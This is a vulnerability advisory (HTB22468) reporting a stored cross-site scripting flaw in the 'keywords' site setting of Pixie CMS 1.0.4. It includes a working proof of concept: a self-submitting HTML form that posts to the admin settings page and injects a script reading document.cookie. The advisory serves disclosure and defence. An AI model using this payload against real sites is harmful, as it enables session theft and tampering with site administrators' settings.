XSS vulnerability in Pixie

[advisory () htbridge ch]

Vulnerability ID: HTB22468
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_pixie.html
Product: Pixie
Vendor: Toggle Labs Ltd ( http://www.getpixie.co.uk/ ) 
Vulnerable Version: 1.0.4 and Probably Prior Versions
Vendor Notification: 01 July 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the site settings saving script to properly sanitize user-supplied input in 
"keywords" variable. Successful exploitation of this vulnerability could result in a compromise of the application, 
theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form accept-charset="UTF-8" action="http://host/admin/index.php?s=settings&x=site"; method="post" name="main" >
<input type="hidden" name="sitename" value="Pixie" />
<input type="hidden" name="url" value="http://host/"; />
<input type="hidden" name="default" value="blog/" />
<input type="hidden" name="keywords" value='key1"><script>alert(document.cookie)</script>' />
<input type="hidden" name="site_auth" value="sute author" />
<input type="hidden" name="site_cright" value="copyright" />
<input type="hidden" name="cleanurls" value="yes" />
<input type="submit" name="settings_edit" id="form_addedit_submit" value="Update" />
</form>
<script>
document.getElementById('form_addedit_submit').click();
</script>